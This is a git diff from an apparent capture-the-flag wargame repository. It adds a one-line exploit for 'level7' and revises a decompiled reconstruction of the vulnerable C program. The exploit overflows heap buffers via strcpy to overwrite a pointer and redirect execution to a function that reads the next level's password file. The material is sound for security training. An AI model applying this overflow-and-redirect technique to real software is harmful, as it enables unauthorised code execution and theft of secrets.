diff --git a/level7/ressources/exploit b/level7/ressources/exploit new file mode 100644 index 0000000..9e9d8dc --- /dev/null +++ b/level7/ressources/exploit @@ -0,0 +1 @@ +./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"') diff --git a/level7/source.c b/level7/source.c index 703c903..8ab51e9 100644 --- a/level7/source.c +++ b/level7/source.c @@ -14,24 +14,19 @@ void m(void) return; } -int main(int ac, char **av) +int32_t main(int32_t ac, char **av) { - int **a; - int **b; - FILE *__stream; + int32_t *str = malloc(8); + str[0] = 1; + str[1] = malloc(8); - *a = (int *)malloc(8); - *a[0] = 1; - a[1] = malloc(8); + int32_t *str2 = malloc(8); + str2[0] = 2; + str2[1] = malloc(8); - *b = (int *)malloc(8); - *b[0] = 2; - b[1] = malloc(8); - - strcpy((char *)a[1], av[1]); - strcpy((char *)b[1], av[2]); - __stream = fopen("/home/user/level8/.pass", "r"); - fgets(c, 68, __stream); + strcpy(str[1], av[1]); + strcpy(str2[1], av[2]); + fgets(c, 68, fopen("/home/user/level8/.pass", "r")); puts("~~"); return 0; }